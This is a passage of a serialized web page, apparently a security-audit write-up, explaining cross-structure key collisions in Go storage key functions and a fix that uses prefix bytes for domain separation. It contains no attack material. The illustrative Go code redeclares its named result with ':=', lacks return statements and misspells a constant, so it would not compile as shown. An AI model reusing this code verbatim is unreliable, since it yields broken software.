,"line":2171},[90177],{"type":24,"tag":930,"props":90178,"children":90179},{"emptyLinePlaceholder":16},[90180],{"type":30,"value":2412},{"type":24,"tag":930,"props":90182,"children":90183},{"class":932,"line":2180},[90184,90188,90192,90196,90200,90204],{"type":24,"tag":930,"props":90185,"children":90186},{"style":1023},[90187],{"type":30,"value":89745},{"type":24,"tag":930,"props":90189,"children":90190},{"style":1158},[90191],{"type":30,"value":79495},{"type":24,"tag":930,"props":90193,"children":90194},{"style":1023},[90195],{"type":30,"value":85305},{"type":24,"tag":930,"props":90197,"children":90198},{"style":959},[90199],{"type":30,"value":436},{"type":24,"tag":930,"props":90201,"children":90202},{"style":1002},[90203],{"type":30,"value":88293},{"type":24,"tag":930,"props":90205,"children":90206},{"style":959},[90207],{"type":30,"value":2814},{"type":24,"tag":930,"props":90209,"children":90210},{"class":932,"line":2220},[90211,90215],{"type":24,"tag":930,"props":90212,"children":90213},{"style":1270},[90214],{"type":30,"value":89773},{"type":24,"tag":930,"props":90216,"children":90217},{"style":959},[90218],{"type":30,"value":2832},{"type":24,"tag":930,"props":90220,"children":90221},{"class":932,"line":2246},[90222,90226],{"type":24,"tag":930,"props":90223,"children":90224},{"style":1023},[90225],{"type":30,"value":89785},{"type":24,"tag":930,"props":90227,"children":90228},{"style":959},[90229],{"type":30,"value":2832},{"type":24,"tag":930,"props":90231,"children":90232},{"class":932,"line":2269},[90233,90237],{"type":24,"tag":930,"props":90234,"children":90235},{"style":1023},[90236],{"type":30,"value":89797},{"type":24,"tag":930,"props":90238,"children":90239},{"style":959},[90240],{"type":30,"value":2832},{"type":24,"tag":930,"props":90242,"children":90243},{"class":932,"line":2278},[90244,90248],{"type":24,"tag":930,"props":90245,"children":90246},{"style":1023},[90247],{"type":30,"value":89809},{"type":24,"tag":930,"props":90249,"children":90250},{"style":959},[90251],{"type":30,"value":2832},{"type":24,"tag":930,"props":90253,"children":90254},{"class":932,"line":2306},[90255,90259],{"type":24,"tag":930,"props":90256,"children":90257},{"style":1023},[90258],{"type":30,"value":89797},{"type":24,"tag":930,"props":90260,"children":90261},{"style":959},[90262],{"type":30,"value":2832},{"type":24,"tag":930,"props":90264,"children":90265},{"class":932,"line":2337},[90266,90271],{"type":24,"tag":930,"props":90267,"children":90268},{"style":1023},[90269],{"type":30,"value":90270},"        addressNameEncoded",{"type":24,"tag":930,"props":90272,"children":90273},{"style":959},[90274],{"type":30,"value":2832},{"type":24,"tag":930,"props":90276,"children":90277},{"class":932,"line":2346},[90278],{"type":24,"tag":930,"props":90279,"children":90280},{"style":959},[90281],{"type":30,"value":2877},{"type":24,"tag":930,"props":90283,"children":90284},{"class":932,"line":2355},[90285],{"type":24,"tag":930,"props":90286,"children":90287},{"style":959},[90288],{"type":30,"value":2528},{"type":24,"tag":33,"props":90290,"children":90291},{},[90292,90294,90299],{"type":30,"value":90293},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":156,"props":90295,"children":90297},{"className":90296},[],[90298],{"type":30,"value":88047},{"type":30,"value":90300},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":920,"props":90302,"children":90304},{"code":90303},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[90305],{"type":24,"tag":156,"props":90306,"children":90307},{"__ignoreMap":7},[90308],{"type":30,"value":90303},{"type":24,"tag":33,"props":90310,"children":90311},{},[90312],{"type":30,"value":90313},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":920,"props":90315,"children":90317},{"code":90316,"language":79244,"meta":7,"className":79245,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[90318],{"type":24,"tag":156,"props":90319,"children":90320},{"__ignoreMap":7},[90321,90332,90347,90374,90399,90406,90413,90420,90435,90450,90477,90500,90519,90534,90569,90576,90611,90618,90637,90652,90687,90694,90729,90736,90763,90775,90787,90798,90809,90820,90831,90842,90849,90856,90863,90870,90885,90900,90927,90950,90969,90984,91019,91026,91061,91068,91087,91102,91137,91144,91179,91186,91213,91224,91236,91247,91258,91269,91280,91291,91298],{"type":24,"tag":930,"props":90322,"children":90323},{"class":932,"line":933},[90324,90328],{"type":24,"tag":930,"props":90325,"children":90326},{"style":937},[90327],{"type":30,"value":12762},{"type":24,"tag":930,"props":90329,"children":90330},{"style":959},[90331],{"type":30,"value":81645},{"type":24,"tag":930,"props":90333,"children":90334},{"class":932,"line":984},[90335,90339,90343],{"type":24,"tag":930,"props":90336,"children":90337},{"style":1023},[90338],{"type":30,"value":88401},{"type":24,"tag":930,"props":90340,"children":90341},{"style":1158},[90342],{"type":30,"value":6137},{"type":24,"tag":930,"props":90344,"children":90345},{"style":1270},[90346],{"type":30,"value":88410},{"type":24,"tag":930,"props":90348,"children":90349},{"class":932,"line":993},[90350,90355,90359,90364,90369],{"type":24,"tag":930,"props":90351,"children":90352},{"style":1023},[90353],{"type":30,"value":90354},"    PositionMapPrefix",{"type":24,"tag":930,"props":90356,"children":90357},{"style":1158},[90358],{"type":30,"value":6137},{"type":24,"tag":930,"props":90360,"children":90361},{"style":1270},[90362],{"type":30,"value":90363}," \"",{"type":24,"tag":930,"props":90365,"children":90366},{"style":51463},[90367],{"type":30,"value":90368},"\\x01",{"type":24,"tag":930,"props":90370,"children":90371},{"style":1270},[90372],{"type":30,"value":90373},"\"\n",{"type":24,"tag":930,"props":90375,"children":90376},{"class":932,"line":1057},[90377,90382,90386,90390,90395],{"type":24,"tag":930,"props":90378,"children":90379},{"style":1023},[90380],{"type":30,"value":90381},"    AddressMapPrefix",{"type":24,"tag":930,"props":90383,"children":90384},{"style":1158},[90385],{"type":30,"value":6137},{"type":24,"tag":930,"props":90387,"children":90388},{"style":1270},[90389],{"type":30,"value":90363},{"type":24,"tag":930,"props":90391,"children":90392},{"style":51463},[90393],{"type":30,"value":90394},"\\x02",{"type":24,"tag":930,"props":90396,"children":90397},{"style":1270},[90398],{"type":30,"value":90373},{"type":24,"tag":930,"props":90400,"children":90401},{"class":932,"line":1066},[90402],{"type":24,"tag":930,"props":90403,"children":90404},{"style":959},[90405],{"type":30,"value":1054},{"type":24,"tag":930,"props":90407,"children":90408},{"class":932,"line":1075},[90409],{"type":24,"tag":930,"props":90410,"children":90411},{"emptyLinePlaceholder":16},[90412],{"type":30,"value":2412},{"type":24,"tag":930,"props":90414,"children":90415},{"class":932,"line":1122},[90416],{"type":24,"tag":930,"props":90417,"children":90418},{"emptyLinePlaceholder":16},[90419],{"type":30,"value":2412},{"type":24,"tag":930,"props":90421,"children":90422},{"class":932,"line":1131},[90423,90427,90431],{"type":24,"tag":930,"props":90424,"children":90425},{"style":937},[90426],{"type":30,"value":79380},{"type":24,"tag":930,"props":90428,"children":90429},{"style":1002},[90430],{"type":30,"value":89429},{"type":24,"tag":930,"props":90432,"children":90433},{"style":959},[90434],{"type":30,"value":2814},{"type":24,"tag":930,"props":90436,"children":90437},{"class":932,"line":1144},[90438,90442,90446],{"type":24,"tag":930,"props":90439,"children":90440},{"style":1023},[90441],{"type":30,"value":88317},{"type":24,"tag":930,"props":90443,"children":90444},{"style":943},[90445],{"type":30,"value":79500},{"type":24,"tag":930,"props":90447,"children":90448},{"style":959},[90449],{"type":30,"value":2832},{"type":24,"tag":930,"props":90451,"children":90452},{"class":932,"line":1169},[90453,90457,90461,90465,90469,90473],{"type":24,"tag":930,"props":90454,"children":90455},{"style":1023},[90456],{"type":30,"value":88329},{"type":24,"tag":930,"props":90458,"children":90459},{"style":959},[90460],{"type":30,"value":962},{"type":24,"tag":930,"props":90462,"children":90463},{"style":1023},[90464],{"type":30,"value":88810},{"type":24,"tag":930,"props":90466,"children":90467},{"style":959},[90468],{"type":30,"value":79307},{"type":24,"tag":930,"props":90470,"children":90471},{"style":943},[90472],{"type":30,"value":87835},{"type":24,"tag":930,"props":90474,"children":90475},{"style":959},[90476],{"type":30,"value":2832},{"type":24,"tag":930,"props":90478,"children":90479},{"class":932,"line":1191},[90480,90484,90488,90492,90496],{"type":24,"tag":930,"props":90481,"children":90482},{"style":959},[90483],{"type":30,"value":79461},{"type":24,"tag":930,"props":90485,"children":90486},{"style":1023},[90487],{"type":30,"value":75237},{"type":24,"tag":930,"props":90489,"children":90490},{"style":959},[90491],{"type":30,"value":79307},{"type":24,"tag":930,"props":90493,"children":90494},{"style":943},[90495],{"type":30,"value":87835},{"type":24,"tag":930,"props":90497,"children":90498},{"style":959},[90499],{"type":30,"value":1503},{"type":24,"tag":930,"props":90501,"children":90502},{"class":932,"line":1223},[90503,90507,90511,90515],{"type":24,"tag":930,"props":90504,"children":90505},{"style":1023},[90506],{"type":30,"value":88931},{"type":24,"tag":930,"props":90508,"children":90509},{"style":1158},[90510],{"type":30,"value":79495},{"type":24,"tag":930,"props":90512,"children":90513},{"style":1002},[90514],{"type":30,"value":88634},{"type":24,"tag":930,"props":90516,"children":90517},{"style":959},[90518],{"type":30,"value":2814},{"type":24,"tag":930,"props":90520,"children":90521},{"class":932,"line":1281},[90522,90526,90530],{"type":24,"tag":930,"props":90523,"children":90524},{"style":959},[90525],{"type":30,"value":89525},{"type":24,"tag":930,"props":90527,"children":90528},{"style":943},[90529],{"type":30,"value":87835},{"type":24,"tag":930,"props":90531,"children":90532},{"style":959},[90533],{"type":30,"value":2832},{"type":24,"tag":930,"props":90535,"children":90536},{"class":932,"line":1313},[90537,90541,90545,90549,90553,90557,90561,90565],{"type":24,"tag":930,"props":90538,"children":90539},{"style":1023},[90540],{"type":30,"value":89541},{"type":24,"tag":930,"props":90542,"children":90543},{"style":959},[90544],{"type":30,"value":436},{"type":24,"tag":930,"props":90546,"children":90547},{"style":1002},[90548],{"type":30,"value":88671},{"type":24,"tag":930,"props":90550,"children":90551},{"style":959},[90552],{"type":30,"value":1010},{"type":24,"tag":930,"props":90554,"children":90555},{"style":1002},[90556],{"type":30,"value":12247},{"type":24,"tag":930,"props":90558,"children":90559},{"style":959},[90560],{"type":30,"value":1010},{"type":24,"tag":930,"props":90562,"children":90563},{"style":1023},[90564],{"type":30,"value":88541},{"type":24,"tag":930,"props":90566,"children":90567},{"style":959},[90568],{"type":30,"value":88692},{"type":24,"tag":930,"props":90570,"children":90571},{"class":932,"line":1335},[90572],{"type":24,"tag":930,"props":90573,"children":90574},{"style":959},[90575],{"type":30,"value":2877},{"type":24,"tag":930,"props":90577,"children":90578},{"class":932,"line":1376},[90579,90583,90587,90591,90595,90599,90603,90607],{"type":24,"tag":930,"props":90580,"children":90581},{"style":1023},[90582],{"type":30,"value":88662},{"type":24,"tag":930,"props":90584,"children":90585},{"style":959},[90586],{"type":30,"value":436},{"type":24,"tag":930,"props":90588,"children":90589},{"style":1002},[90590],{"type":30,"value":88716},{"type":24,"tag":930,"props":90592,"children":90593},{"style":959},[90594],{"type":30,"value":1010},{"type":24,"tag":930,"props":90596,"children":90597},{"style":1023},[90598],{"type":30,"value":88625},{"type":24,"tag":930,"props":90600,"children":90601},{"style":959},[90602],{"type":30,"value":962},{"type":24,"tag":930,"props":90604,"children":90605},{"style":1023},[90606],{"type":30,"value":88541},{"type":24,"tag":930,"props":90608,"children":90609},{"style":959},[90610],{"type":30,"value":1054},{"type":24,"tag":930,"props":90612,"children":90613},{"class":932,"line":1418},[90614],{"type":24,"tag":930,"props":90615,"children":90616},{"emptyLinePlaceholder":16},[90617],{"type":30,"value":2412},{"type":24,"tag":930,"props":90619,"children":90620},{"class":932,"line":1438},[90621,90625,90629,90633],{"type":24,"tag":930,"props":90622,"children":90623},{"style":1023},[90624],{"type":30,"value":89626},{"type":24,"tag":930,"props":90626,"children":90627},{"style":1158},[90628],{"type":30,"value":79495},{"type":24,"tag":930,"props":90630,"children":90631},{"style":1002},[90632],{"type":30,"value":88634},{"type":24,"tag":930,"props":90634,"children":90635},{"style":959},[90636],{"type":30,"value":2814},{"type":24,"tag":930,"props":90638,"children":90639},{"class":932,"line":1479},[90640,90644,90648],{"type":24,"tag":930,"props":90641,"children":90642},{"style":959},[90643],{"type":30,"value":89525},{"type":24,"tag":930,"props":90645,"children":90646},{"style":943},[90647],{"type":30,"value":87835},{"type":24,"tag":930,"props":90649,"children":90650},{"style":959},[90651],{"type":30,"value":2832},{"type":24,"tag":930,"props":90653,"children":90654},{"class":932,"line":1506},[90655,90659,90663,90667,90671,90675,90679,90683],{"type":24,"tag":930,"props":90656,"children":90657},{"style":1023},[90658],{"type":30,"value":89541},{"type":24,"tag":930,"props":90660,"children":90661},{"style":959},[90662],{"type":30,"value":436},{"type":24,"tag":930,"props":90664,"children":90665},{"style":1002},[90666],{"type":30,"value":88671},{"type":24,"tag":930,"props":90668,"children":90669},{"style":959},[90670],{"type":30,"value":1010},{"type":24,"tag":930,"props":90672,"children":90673},{"style":1002},[90674],{"type":30,"value":12247},{"type":24,"tag":930,"props":90676,"children":90677},{"style":959},[90678],{"type":30,"value":1010},{"type":24,"tag":930,"props":90680,"children":90681},{"style":1023},[90682],{"type":30,"value":88810},{"type":24,"tag":930,"props":90684,"children":90685},{"style":959},[90686],{"type":30,"value":88692},{"type":24,"tag":930,"props":90688,"children":90689},{"class":932,"line":1525},[90690],{"type":24,"tag":930,"props":90691,"children":90692},{"style":959},[90693],{"type":30,"value":2877},{"type":24,"tag":930,"props":90695,"children":90696},{"class":932,"line":1569},[90697,90701,90705,90709,90713,90717,90721,90725],{"type":24,"tag":930,"props":90698,"children":90699},{"style":1023},[90700],{"type":30,"value":88662},{"type":24,"tag":930,"props":90702,"children":90703},{"style":959},[90704],{"type":30,"value":436},{"type":24,"tag":930,"props":90706,"children":90707},{"style":1002},[90708],{"type":30,"value":88716},{"type":24,"tag":930,"props":90710,"children":90711},{"style":959},[90712],{"type":30,"value":1010},{"type":24,"tag":930,"props":90714,"children":90715},{"style":1023},[90716],{"type":30,"value":88751},{"type":24,"tag":930,"props":90718,"children":90719},{"style":959},[90720],{"type":30,"value":962},{"type":24,"tag":930,"props":90722,"children":90723},{"style":1023},[90724],{"type":30,"value":88810},{"type":24,"tag":930,"props":90726,"children":90727},{"style":959},[90728],{"type":30,"value":1054},{"type":24,"tag":930,"props":90730,"children":90731},{"class":932,"line":1592},[90732],{"type":24,"tag":930,"props":90733,"children":90734},{"emptyLinePlaceholder":16},[90735],{"type":30,"value":2412},{"type":24,"tag":930,"props":90737,"children":90738},{"class":932,"line":1610},[90739,90743,90747,90751,90755,90759],{"type":24,"tag":930,"props":90740,"children":90741},{"style":1023},[90742],{"type":30,"value":89745},{"type":24,"tag":930,"props":90744,"children":90745},{"style":1158},[90746],{"type":30,"value":79495},{"type":24,"tag":930,"props":90748,"children":90749},{"style":1023},[90750],{"type":30,"value":85305},{"type":24,"tag":930,"props":90752,"children":90753},{"style":959},[90754],{"type":30,"value":436},{"type":24,"tag":930,"props":90756,"children":90757},{"style":1002},[90758],{"type":30,"value":88293},{"type":24,"tag":930,"props":90760,"children":90761},{"style":959},[90762],{"type":30,"value":2814},{"type":24,"tag":930,"props":90764,"children":90765},{"class":932,"line":1628},[90766,90771],{"type":24,"tag":930,"props":90767,"children":90768},{"style":1270},[90769],{"type":30,"value":90770},"        \"%s%d%s%s%s%s\"",{"type":24,"tag":930,"props":90772,"children":90773},{"style":959},[90774],{"type":30,"value":2832},{"type":24,"tag":930,"props":90776,"children":90777},{"class":932,"line":1637},[90778,90783],{"type":24,"tag":930,"props":90779,"children":90780},{"style":1023},[90781],{"type":30,"value":90782},"        PositionMapPrefix",{"type":24,"tag":930,"props":90784,"children":90785},{"style":959},[90786],{"type":30,"value":2832},{"type":24,"tag":930,"props":90788,"children":90789},{"class":932,"line":1646},[90790,90794],{"type":24,"tag":930,"props":90791,"children":90792},{"style":1023},[90793],{"type":30,"value":89785},{"type":24,"tag":930,"props":90795,"children":90796},{"style":959},[90797],{"type":30,"value":2832},{"type":24,"tag":930,"props":90799,"children":90800},{"class":932,"line":1673},[90801,90805],{"type":24,"tag":930,"props":90802,"children":90803},{"style":1023},[90804],{"type":30,"value":89797},{"type":24,"tag":930,"props":90806,"children":90807},{"style":959},[90808],{"type":30,"value":2832},{"type":24,"tag":930,"props":90810,"children":90811},{"class":932,"line":1692},[90812,90816],{"type":24,"tag":930,"props":90813,"children":90814},{"style":1023},[90815],{"type":30,"value":89809},{"type":24,"tag":930,"props":90817,"children":90818},{"style":959},[90819],{"type":30,"value":2832},{"type":24,"tag":930,"props":90821,"children":90822},{"class":932,"line":1730},[90823,90827],{"type":24,"tag":930,"props":90824,"children":90825},{"style":1023},[90826],{"type":30,"value":89797},{"type":24,"tag":930,"props":90828,"children":90829},{"style":959},[90830],{"type":30,"value":2832},{"type":24,"tag":930,"props":90832,"children":90833},{"class":932,"line":1762},[90834,90838],{"type":24,"tag":930,"props":90835,"children":90836},{"style":1023},[90837],{"type":30,"value":89832},{"type":24,"tag":930,"props":90839,"children":90840},{"style":959},[90841],{"type":30,"value":2832},{"type":24,"tag":930,"props":90843,"children":90844},{"class":932,"line":1775},[90845],{"type":24,"tag":930,"props":90846,"children":90847},{"style":959},[90848],{"type":30,"value":2877},{"type":24,"tag":930,"props":90850,"children":90851},{"class":932,"line":1825},[90852],{"type":24,"tag":930,"props":90853,"children":90854},{"style":959},[90855],{"type":30,"value":2528},{"type":24,"tag":930,"props":90857,"children":90858},{"class":932,"line":1834},[90859],{"type":24,"tag":930,"props":90860,"children":90861},{"emptyLinePlaceholder":16},[90862],{"type":30,"value":2412},{"type":24,"tag":930,"props":90864,"children":90865},{"class":932,"line":1843},[90866],{"type":24,"tag":930,"props":90867,"children":90868},{"emptyLinePlaceholder":16},[90869],{"type":30,"value":2412},{"type":24,"tag":930,"props":90871,"children":90872},{"class":932,"line":1851},[90873,90877,90881],{"type":24,"tag":930,"props":90874,"children":90875},{"style":937},[90876],{"type":30,"value":79380},{"type":24,"tag":930,"props":90878,"children":90879},{"style":1002},[90880],{"type":30,"value":89876},{"type":24,"tag":930,"props":90882,"children":90883},{"style":959},[90884],{"type":30,"value":2814},{"type":24,"tag":930,"props":90886,"children":90887},{"class":932,"line":1919},[90888,90892,90896],{"type":24,"tag":930,"props":90889,"children":90890},{"style":1023},[90891],{"type":30,"value":88317},{"type":24,"tag":930,"props":90893,"children":90894},{"style":943},[90895],{"type":30,"value":79500},{"type":24,"tag":930,"props":90897,"children":90898},{"style":959},[90899],{"type":30,"value":2832},{"type":24,"tag":930,"props":90901,"children":90902},{"class":932,"line":1927},[90903,90907,90911,90915,90919,90923],{"type":24,"tag":930,"props":90904,"children":90905},{"style":1023},[90906],{"type":30,"value":88329},{"type":24,"tag":930,"props":90908,"children":90909},{"style":959},[90910],{"type":30,"value":962},{"type":24,"tag":930,"props":90912,"children":90913},{"style":1023},[90914],{"type":30,"value":89911},{"type":24,"tag":930,"props":90916,"children":90917},{"style":959},[90918],{"type":30,"value":79307},{"type":24,"tag":930,"props":90920,"children":90921},{"style":943},[90922],{"type":30,"value":87835},{"type":24,"tag":930,"props":90924,"children":90925},{"style":959},[90926],{"type":30,"value":2832},{"type":24,"tag":930,"props":90928,"children":90929},{"class":932,"line":1935},[90930,90934,90938,90942,90946],{"type":24,"tag":930,"props":90931,"children":90932},{"style":959},[90933],{"type":30,"value":79461},{"type":24,"tag":930,"props":90935,"children":90936},{"style":1023},[90937],{"type":30,"value":75237},{"type":24,"tag":930,"props":90939,"children":90940},{"style":959},[90941],{"type":30,"value":79307},{"type":24,"tag":930,"props":90943,"children":90944},{"style":943},[90945],{"type":30,"value":87835},{"type":24,"tag":930,"props":90947,"children":90948},{"style":959},[90949],{"type":30,"value":1503},{"type":24,"tag":930,"props":90951,"children":90952},{"class":932,"line":1943},[90953,90957,90961,90965],{"type":24,"tag":930,"props":90954,"children":90955},{"style":1023},[90956],{"type":30,"value":88931},{"type":24,"tag":930,"props":90958,"children":90959},{"style":1158},[90960],{"type":30,"value":79495},{"type":24,"tag":930,"props":90962,"children":90963},{"style":1002},[90964],{"type":30,"value":88634},{"type":24,"tag":930,"props":90966,"children":90967},{"style":959},[90968],{"type":30,"value":2814},{"type":24,"tag":930,"props":90970,"children":90971},{"class":932,"line":1955},[90972,90976,90980],{"type":24,"tag":930,"props":90973,"children":90974},{"style":959},[90975],{"type":30,"value":89525},{"type":24,"tag":930,"props":90977,"children":90978},{"style":943},[90979],{"type":30,"value":87835},{"type":24,"tag":930,"props":90981,"children":90982},{"style":959},[90983],{"type":30,"value":2832},{"type":24,"tag":930,"props":90985,"children":90986},{"class":932,"line":1975},[90987,90991,90995,90999,91003,91007,91011,91015],{"type":24,"tag":930,"props":90988,"children":90989},{"style":1023},[90990],{"type":30,"value":89541},{"type":24,"tag":930,"props":90992,"children":90993},{"style":959},[90994],{"type":30,"value":436},{"type":24,"tag":930,"props":90996,"children":90997},{"style":1002},[90998],{"type":30,"value":88671},{"type":24,"tag":930,"props":91000,"children":91001},{"style":959},[91002],{"type":30,"value":1010},{"type":24,"tag":930,"props":91004,"children":91005},{"style":1002},[91006],{"type":30,"value":12247},{"type":24,"tag":930,"props":91008,"children":91009},{"style":959},[91010],{"type":30,"value":1010},{"type":24,"tag":930,"props":91012,"children":91013},{"style":1023},[91014],{"type":30,"value":88541},{"type":24,"tag":930,"props":91016,"children":91017},{"style":959},[91018],{"type":30,"value":88692},{"type":24,"tag":930,"props":91020,"children":91021},{"class":932,"line":1995},[91022],{"type":24,"tag":930,"props":91023,"children":91024},{"style":959},[91025],{"type":30,"value":2877},{"type":24,"tag":930,"props":91027,"children":91028},{"class":932,"line":2061},[91029,91033,91037,91041,91045,91049,91053,91057],{"type":24,"tag":930,"props":91030,"children":91031},{"style":1023},[91032],{"type":30,"value":88662},{"type":24,"tag":930,"props":91034,"children":91035},{"style":959},[91036],{"type":30,"value":436},{"type":24,"tag":930,"props":91038,"children":91039},{"style":1002},[91040],{"type":30,"value":88716},{"type":24,"tag":930,"props":91042,"children":91043},{"style":959},[91044],{"type":30,"value":1010},{"type":24,"tag":930,"props":91046,"children":91047},{"style":1023},[91048],{"type":30,"value":88625},{"type":24,"tag":930,"props":91050,"children":91051},{"style":959},[91052],{"type":30,"value":962},{"type":24,"tag":930,"props":91054,"children":91055},{"style":1023},[91056],{"type":30,"value":88541},{"type":24,"tag":930,"props":91058,"children":91059},{"style":959},[91060],{"type":30,"value":1054},{"type":24,"tag":930,"props":91062,"children":91063},{"class":932,"line":2085},[91064],{"type":24,"tag":930,"props":91065,"children":91066},{"emptyLinePlaceholder":16},[91067],{"type":30,"value":2412},{"type":24,"tag":930,"props":91069,"children":91070},{"class":932,"line":2119},[91071,91075,91079,91083],{"type":24,"tag":930,"props":91072,"children":91073},{"style":1023},[91074],{"type":30,"value":90068},{"type":24,"tag":930,"props":91076,"children":91077},{"style":1158},[91078],{"type":30,"value":79495},{"type":24,"tag":930,"props":91080,"children":91081},{"style":1002},[91082],{"type":30,"value":88634},{"type":24,"tag":930,"props":91084,"children":91085},{"style":959},[91086],{"type":30,"value":2814},{"type":24,"tag":930,"props":91088,"children":91089},{"class":932,"line":2135},[91090,91094,91098],{"type":24,"tag":930,"props":91091,"children":91092},{"style":959},[91093],{"type":30,"value":89525},{"type":24,"tag":930,"props":91095,"children":91096},{"style":943},[91097],{"type":30,"value":87835},{"type":24,"tag":930,"props":91099,"children":91100},{"style":959},[91101],{"type":30,"value":2832},{"type":24,"tag":930,"props":91103,"children":91104},{"class":932,"line":2171},[91105,91109,91113,91117,91121,91125,91129,91133],{"type":24,"tag":930,"props":91106,"children":91107},{"style":1023},[91108],{"type":30,"value":89541},{"type":24,"tag":930,"props":91110,"children":91111},{"style":959},[91112],{"type":30,"value":436},{"type":24,"tag":930,"props":91114,"children":91115},{"style":1002},[91116],{"type":30,"value":88671},{"type":24,"tag":930,"props":91118,"children":91119},{"style":959},[91120],{"type":30,"value":1010},{"type":24,"tag":930,"props":91122,"children":91123},{"style":1002},[91124],{"type":30,"value":12247},{"type":24,"tag":930,"props":91126,"children":91127},{"style":959},[91128],{"type":30,"value":1010},{"type":24,"tag":930,"props":91130,"children":91131},{"style":1023},[91132],{"type":30,"value":89911},{"type":24,"tag":930,"props":91134,"children":91135},{"style":959},[91136],{"type":30,"value":88692},{"type":24,"tag":930,"props":91138,"children":91139},{"class":932,"line":2180},[91140],{"type":24,"tag":930,"props":91141,"children":91142},{"style":959},[91143],{"type":30,"value":2877},{"type":24,"tag":930,"props":91145,"children":91146},{"class":932,"line":2220},[91147,91151,91155,91159,91163,91167,91171,91175],{"type":24,"tag":930,"props":91148,"children":91149},{"style":1023},[91150],{"type":30,"value":88662},{"type":24,"tag":930,"props":91152,"children":91153},{"style":959},[91154],{"type":30,"value":436},{"type":24,"tag":930,"props":91156,"children":91157},{"style":1002},[91158],{"type":30,"value":88716},{"type":24,"tag":930,"props":91160,"children":91161},{"style":959},[91162],{"type":30,"value":1010},{"type":24,"tag":930,"props":91164,"children":91165},{"style":1023},[91166],{"type":30,"value":90161},{"type":24,"tag":930,"props":91168,"children":91169},{"style":959},[91170],{"type":30,"value":962},{"type":24,"tag":930,"props":91172,"children":91173},{"style":1023},[91174],{"type":30,"value":89911},{"type":24,"tag":930,"props":91176,"children":91177},{"style":959},[91178],{"type":30,"value":1054},{"type":24,"tag":930,"props":91180,"children":91181},{"class":932,"line":2246},[91182],{"type":24,"tag":930,"props":91183,"children":91184},{"emptyLinePlaceholder":16},[91185],{"type":30,"value":2412},{"type":24,"tag":930,"props":91187,"children":91188},{"class":932,"line":2269},[91189,91193,91197,91201,91205,91209],{"type":24,"tag":930,"props":91190,"children":91191},{"style":1023},[91192],{"type":30,"value":89745},{"type":24,"tag":930,"props":91194,"children":91195},{"style":1158},[91196],{"type":30,"value":79495},{"type":24,"tag":930,"props":91198,"children":91199},{"style":1023},[91200],{"type":30,"value":85305},{"type":24,"tag":930,"props":91202,"children":91203},{"style":959},[91204],{"type":30,"value":436},{"type":24,"tag":930,"props":91206,"children":91207},{"style":1002},[91208],{"type":30,"value":88293},{"type":24,"tag":930,"props":91210,"children":91211},{"style":959},[91212],{"type":30,"value":2814},{"type":24,"tag":930,"props":91214,"children":91215},{"class":932,"line":2278},[91216,91220],{"type":24,"tag":930,"props":91217,"children":91218},{"style":1270},[91219],{"type":30,"value":90770},{"type":24,"tag":930,"props":91221,"children":91222},{"style":959},[91223],{"type":30,"value":2832},{"type":24,"tag":930,"props":91225,"children":91226},{"class":932,"line":2306},[91227,91232],{"type":24,"tag":930,"props":91228,"children":91229},{"style":1023},[91230],{"type":30,"value":91231},"        AddressMapPrefix",{"type":24,"tag":930,"props":91233,"children":91234},{"style":959},[91235],{"type":30,"value":2832},{"type":24,"tag":930,"props":91237,"children":91238},{"class":932,"line":2337},[91239,91243],{"type":24,"tag":930,"props":91240,"children":91241},{"style":1023},[91242],{"type":30,"value":89785},{"type":24,"tag":930,"props":91244,"children":91245},{"style":959},[91246],{"type":30,"value":2832},{"type":24,"tag":930,"props":91248,"children":91249},{"class":932,"line":2346},[91250,91254],{"type":24,"tag":930,"props":91251,"children":91252},{"style":1023},[91253],{"type":30,"value":89797},{"type":24,"tag":930,"props":91255,"children":91256},{"style":959},[91257],{"type":30,"value":2832},{"type":24,"tag":930,"props":91259,"children":91260},{"class":932,"line":2355},[91261,91265],{"type":24,"tag":930,"props":91262,"children":91263},{"style":1023},[91264],{"type":30,"value":89809},{"type":24,"tag":930,"props":91266,"children":91267},{"style":959},[91268],{"type":30,"value":2832},{"type":24,"tag":930,"props":91270,"children":91271},{"class":932,"line":2398},[91272,91276],{"type":24,"tag":930,"props":91273,"children":91274},{"style":1023},[91275],{"type":30,"value":89797},{"type":24,"tag":930,"props":91277,"children":91278},{"style":959},[91279],{"type":30,"value":2832},{"type":24,"tag":930,"props":91281,"children":91282},{"class":932,"line":2406},[91283,91287],{"type":24,"tag":930,"props":91284,"children":91285},{"style":1023},[91286],{"type":30,"value":90270},{"type":24,"tag":930,"props":91288,"children":91289},{"style":959},[91290],{"type":30,"value":2832},{"type":24,"tag":930,"props":91292,"children":91293},{"class":932,"line":2415},[91294],{"type":24,"tag":930,"props":91295,"children":91296},{"style":959},[91297],{"type":30,"value":2877},{"type":24,"tag":930,"props":91299,"children":91300},{"class":932,"line":2440},[91301],{"type":24,"tag":930,"props":91302,"children":91303},{"style":959},[91304],{"type":30,"value":2528},{"type":24,"tag":33,"props":91306,"children":91307},{},[91308],{"type":30,